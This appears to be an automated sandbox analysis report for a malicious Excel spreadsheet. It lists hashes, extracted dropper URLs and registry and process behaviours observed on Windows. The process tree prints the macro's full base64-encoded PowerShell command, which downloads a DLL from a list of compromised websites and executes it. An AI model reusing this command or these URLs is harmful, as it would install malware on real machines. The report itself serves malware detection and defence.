Analysis
- max time kernel
39s - max time network
89s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
31/01/2022, 17:03
Static task
static1
Behavioral task
behavioral1
Sample
tmpc2fk8f8u.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
tmpc2fk8f8u.xls
Resource
win10v2004-en-20220113
General
- Target tmpc2fk8f8u.xls
- Size 134KB
- Sample220131-vkrmjaafg6
- SHA256 ee4c35cdb0f34223bab8cbe0e95aa6f348ceb97b6dade6099e97631636e48362
- MD5 8d1d9b7dd801f7d347df55b24f0b2dce
- SHA1 b7b4efba059e63603f46d162e6fecd23f40e6c6c
- SHA512 1f63b2435953e9a422c63ac6e7b2c8fe0d5b8727e4b3ee4969a688e1f20db3143716b608a755c8f96851583cb0b41f094941d11916b95a0bed289676f1a404ad
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://mytelefonist.de/wp-content/bLm8fxV2M/
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exe.dropper
https://www.yeald.finance/wp-content/uploads/jqAorV83quhL23HMg/
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exe.dropper
http://tattooblog.cn/wp-includes/7AvyW/
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exe.dropper
http://docs-construction.com/wp-admin/jDDqg/
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exe.dropper
http://sep.dfwsolar.club/hzh3v/poAgyopszuh6a1EIG/
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exe.dropper
http://b-lubisi-motivational-speaker.com/wp-admin/Wf5rQabNRai/
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exe.dropper
https://pmfstukm.com/wp-admin/SoenE35FXJBjVdnfME/
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exe.dropper
http://sesco-ks.com/wp-content/DJkMVMU6cBr45/
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exe.dropper
https://sangwin.in/magnisapiente/UzYqb1lvgq/
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exe.dropper
http://actividades.laforetlanguages.com/wp-admin/OfFq/
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exe.dropper
http://sbcopylive.com.br/wp-admin/hvAXqZc4DyKBzDZO/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4164 4996 cmd.exe 81 - Sets service image path in registry 2 TTPs
- Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4996 EXCEL.EXE - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeShutdownPrivilege 5064 svchost.exe Token: SeCreatePagefilePrivilege 5064 svchost.exe Token: SeShutdownPrivilege 5064 svchost.exe Token: SeCreatePagefilePrivilege 5064 svchost.exe Token: SeShutdownPrivilege 5064 svchost.exe Token: SeCreatePagefilePrivilege 5064 svchost.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4996 EXCEL.EXE 4996 EXCEL.EXE - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE 4996 EXCEL.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4996 wrote to memory of 4164 4996 EXCEL.EXE 89 PID 4996 wrote to memory of 4164 4996 EXCEL.EXE 89 PID 4164 wrote to memory of 3300 4164 cmd.exe 92 PID 4164 wrote to memory of 3300 4164 cmd.exe 92 PID 4164 wrote to memory of 5028 4164 cmd.exe 94 PID 4164 wrote to memory of 5028 4164 cmd.exe 94
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpc2fk8f8u.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3300
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A3⤵PID:5028
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe a165ed79848421116ce8a981caa4722d QJ+gZvkZV0aKvGAGlvlJ8A.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:1680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5064